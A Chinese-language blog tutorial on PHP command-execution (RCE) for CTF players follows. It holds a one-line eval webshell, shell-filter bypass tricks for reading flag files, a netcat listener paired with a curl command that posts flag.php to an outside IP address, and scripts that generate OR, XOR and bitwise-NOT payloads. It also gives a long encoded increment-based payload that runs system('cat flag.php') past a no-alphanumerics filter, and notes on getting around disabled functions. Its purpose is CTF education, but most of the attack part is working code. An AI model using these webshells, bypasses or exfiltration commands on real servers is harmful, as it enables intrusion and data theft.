PHP命令执行最全面的总结

总结一下PHP中命令执行的方法,把知识点汇成一个体系,Work hard!

什么是命令执行漏洞?

以php为例,产生该漏洞的原因就是系统在某个点调用了可以执行命令的函数,如eval,system,特殊(include)等,这些函数的参数用户可控,进而黑客可以执行一些对系统有威胁的命令,如获取敏感文件、删除信息等,进而危害到系统。其他语言如java、python也是如此。

在CTF比赛中,命令执行一直作为一个常见的考点,初学者应牢牢掌握此考点。

初识命令执行

从一句话木马开始

1
<?php eval($_POST['a'];);?>

初学者一般会看到这个函数,最开始对代码没有了解的情况下,直接去看wp,会告诉你用蚁剑或者菜刀连接,连上之后我们会发现直接可以查看服务器上的所有文件了,那么这种究竟是什么原理呢?

eval,即执行命令的函数,(在php中与之相近的有assert,这个之后进行总结)可以执行POST传入的东西,而$_POST为一个数组,类似于python中的字典,java中的map,其中储存的是键名和键值,在php环境中,可以直接传参,然后数据就会被储存进该数组中,在上面代码中仅仅是把键名为a的值取出来执行而已。

而我们常用的蚁剑,菜刀等工具,就是通过给$_POST数组中的数据传输他们已经写好的命令,然后根据所返回的值,去模拟终端,模拟文件管理器。

我们如何利用命令执行

1
<?php eval($_POST['a'];);?>

通常来说,我们如果看到上述命令就可以直接去利用,可以用蚁剑菜刀连接,但是这是个人都能做,出题人不会这么直接给你送分,所以一般要整些活,那么都会整什么活呢?

一般来说,出题者让我们执行的命令通常有两种,一种是系统命令,一种是php的命令,而系统命会包含在php命令里,因为系统命令的执行也是通过调用php函数system等来执行的。

常见的系统命令执行函数绕过

最开始通常会过滤一些linux命令,如cat,等等,这时候就需要我们用一些小技巧去绕过了,如命令代替,LInux下通配符的使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
cat 替代品 tac tail nl less more  ca\t  (用反斜杠去截断过滤 ) ca''t(用双引号截断过滤)

空格 替代品 < ${IFS} $IFS$9 %09 %0a
linux下空格绕过
{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
cat%09flag.php

cat `ls`

cp fla?.php 1.txt访问1.txt

利用变量绕过a=l;b=s;$a$b

用curl外带flag

1
2
3
nc -lnvp 7499
curl -F "XX=@flag.php" -X POST http://119.91.92.171:7499
适用于无回显时执行命令 如shell_exec 等

利用环境变量拼接

1
${PATH:5:1}${PATH:2:1}

image-20211210101111929

常见的php命令执行绕过

首先看到一个eval函数肯定是要想执行系统命令的,php所有可以用来执行系统命令的函数如下

1
2
3
4
5
6
7
8
system() 
shell_exec()
exec()
passthru()
popen()
形式上还有 `cmd` (即利用反引号执行命令)
值得注意的是除了system和passthru没有返回值,即执行命令后的结果不会出现,这时候就需要用到之前讲绕过时候说的利用curl去外带flag

php命令执行通常有两种过滤

方式一,用正则表达式进行过滤

1
2
3
4
5
6
7
8
9
10
11
12
案例一(非常经典)
无字符数字Rce
<?php
$cmd=$_POST['cmd'];
if(preg_match("/[A-Za-z0-9]/",$cmd)){

die("还想输入数字字符?做梦呢?");
}
else {
eval($cmd);
}
highlight_file(__FILE__);

代码非常简单,传入一个参数,判断其中是否有字符,如果有A-Z a-z 0-9字符,那就die,如果没有,那就执行命令
乍一看这好像是个无解的题,那么如何去绕过过滤呢,这就要提到eval的一些特性了(system等不具备,因为他们执行的不是php的命令)

eval即把传入的参数作为php命令执行,支持语法的嵌套,即可执行多个命令,那么我们是不是可以传入一些没有被过滤的字符然后通过一些变换,使之转换成我们想要使用的字符,然后再让eval去执行他呢?答案是可以的

php中有三个符号可以进行变换字符,

分别是“~”(取反) “^”(异位) |(或) ^(与) (++)自增,可以把这三种当做特殊的函数去看待,

demo

image-20211210104441559

只要传入时把其放在两个字符串中间,其就可以执行,这时候我们就可以写一个小脚本去爆破了,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
 <?php

$cmd='system';
function pass_waf($waf){
$str=[];
for($i=0;$i<=127;$i++){
if (!preg_match(($waf),chr($i))){
array_push($str,$i);
}
}
return $str;
}

$str1=pass_waf("/[A-Za-z0-9]/");
$str2=pass_waf("/[A-Za-z0-9]/");


foreach($str1 as $v1){
foreach($str2 as $v2){
echo (chr($v1)|chr($v2));
echo " ";
echo (urlencode(chr($v1)));
echo "|";
echo (urlencode(chr($v2)));
echo "<br>";
}

}

对生成的结果进行拼接即可 如想执行phpinfo

1
2
cmd=("%10%28%10%29%0E%06%0f"|"%60%60%60%60%60%60%60")();即可
在php7下可以用 因为php支持动态执行函数 即('phpinfo')();可以被当做命令执行
取反
1
2
3
4
5
这个比较简单
echo urlencode(~'phpinfo');
%8F%97%8F%96%91%99%90
cmd=(~'%8F%97%8F%96%91%99%90')();
这里需要提前url编码一下,因为取反之后输出的都是乱码字符,如果直接复制上去,可能会出问题。
异位
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
这个和或是同理的 改下上面的脚本在进行拼接即可
<?php
$cmd='system';
function pass_waf($waf){
$str=[];
for($i=0;$i<=127;$i++){
if (!preg_match(($waf),chr($i))){
array_push($str,$i);
}
}
return $str;
}

$str1=pass_waf("/[A-Za-z0-9]/");
$str2=pass_waf("/[A-Za-z0-9]/");


foreach($str1 as $v1){
foreach($str2 as $v2){
echo (chr($v1)^chr($v2));
echo " ";
echo (urlencode(chr($v1)));
echo "^";
echo (urlencode(chr($v2)));
echo "<br>";
}

}
payload:cmd=("%5b%5b%5b%5b%5b%5b%5b"^"%2b%13%2b%12%15%1d%14")();
同样,这种方法只适用于php7

自增

就和c语言一样,php也可以自增,可以利用该特性理论上获取任何字符

image-20211212174405943

有的人这时候可能会有疑问了,不是把所有字母都给过滤了吗?那如何得到A呢?

image-20211212174808347

可能大家会对这段代码有点疑问,我解释一下

1
2
3
4
5
6
$_=[];//让_变量成为一个数组
$_="$_";//让_变量获取到数组的值,即Array
$_=$_[0];利用索引获得A的第一个值
echo $_;
有时候会把数字也过滤了,那就可以利用
$_=$_['#'=='!'];这种形式来代替0

直接上一个写好的payload

1
2
3
4
cmd=%24_%3D%5B%5D%3B%24_%3D%40%22%24_%22%3B%24_%3D%24_%5B'!'%3D%3D'%40'%5D%3B%24 ___%3D%24_%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2 B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__% 2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%2 4__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24___.%3D%24__%3B%24_ _%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24 __%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24_ _%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B %24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2 B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B% 24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B %3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2 B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24 ___.%3D%24__%3B%24____%3D'_'%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__% 2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%2 4__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B% 3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%2 4__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B% 3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B %2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B% 3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B %2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24_ _%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D% 24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24_ _%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B %24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2 B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24_%3D%24%24____%3B%24___(%2 4_%5B_%5D)%3B
&_=system('cat flag.php');


重点: 此payload可用于php5的rce里,从而并非像p牛所说的,php5只能用include去rce

方式二、用disabled_function的方式限制函数

这就要从根源说起了,在php.ini里通常会有一个配置,来禁用函数,通常会把执行系统命令的函数给ban了,这时候有两种思路

利用php自身函数去读文件

例如题目给了flag在/flag里面,现在想要去读文件,那咋整?php也有许多自身函数可以去读,例如highlight_file(),show_source(),都可以用来读文件,那如果不知道flag在哪怎么办?还有方法

1
2
3
4
5
6
7
8
cmd=
$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);

可以写一个小poc脚本上去扫目录 然后去读就行
绕过攻击

参考

https://www.freebuf.com/articles/network/263540.html

然后然后可以用suid去提权

https://www.freebuf.com/articles/web/272617.html


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!